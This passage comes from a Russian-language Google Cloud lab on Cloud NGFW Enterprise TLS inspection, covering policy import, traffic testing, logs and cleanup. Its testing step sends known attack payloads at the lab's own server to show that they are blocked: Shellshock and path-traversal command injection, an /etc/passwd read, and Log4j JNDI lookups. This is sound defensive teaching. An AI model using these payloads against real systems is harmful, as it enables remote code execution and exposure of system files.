trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Импортируйте обновленную политику TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Проверка проверки E/W TLS

SSH обратно к клиенту для проверки E/W-трафика с обновленной конфигурацией доверия:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Запустите образец запроса TLS на сервер:

curl https://$target_privateip --max-time 2

Если вы по-прежнему получаете приведенный ниже вывод, дождитесь распространения обновлений.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Ожидаемый результат:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Отправьте вредоносный тестовый трафик на сервер:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Никаких ответов, как ожидается, ниже не получено, что подтверждает, что примеры атак в настоящее время блокируются для E/W.

13. Ведение журнала

Перейдите в раздел «Ведение журналов» > «Обозреватель журналов» в облачной консоли, введите фильтр ниже и запросите журналы. Замените [PROJECT_ID] на свой project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Записи журнала Cloud NGFW Enterprise должны выглядеть так, как показано ниже:

5b68cc1063c0f4bd.png

Разверните записи журнала и обратите внимание, что атаки, отправленные с клиентской виртуальной машины на сервер, были идентифицированы и заблокированы ( уязвимость удаленного выполнения кода Apache Log4j, как показано на снимке экрана ниже).

478f18f8481e90ed.png

Вы успешно развернули Cloud NGFW Enterprise с проверкой TLS для блокировки вредоносных запросов.

Перейдите к следующему разделу, где описаны этапы очистки.

14. Этапы очистки

Очистка базовой установки

Удалите экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Если роли tagAdmin и tagUsers были изменены, выполните следующие действия:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалите ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевую политику и ассоциацию Cloud Firewall:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалите Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалите зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG облачного брандмауэра, ассоциация и очистка TLS

Удалите группу профилей безопасности и профиль угроз в следующем порядке:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Удалите ассоциацию конечной точки Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Удалите конечную точку Cloud Firewall, что может занять около 20 минут :

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

При необходимости подтвердите, что конечная точка Cloud NGFW была удалена, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Состояние конечной точки должно показывать:

STATE: DELETING

После завершения конечная точка больше не будет отображаться в списке.

Удалите политику TLS и конфигурацию доверия в следующем порядке:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Отключите и удалите корневой центр сертификации и пул центров сертификации:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Очистка подсети и VPC

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Поздравляем!

Поздравляем, вы успешно завершили лабораторную работу Cloud NGFW Enterprise для проверки TLS на восток-запад и север.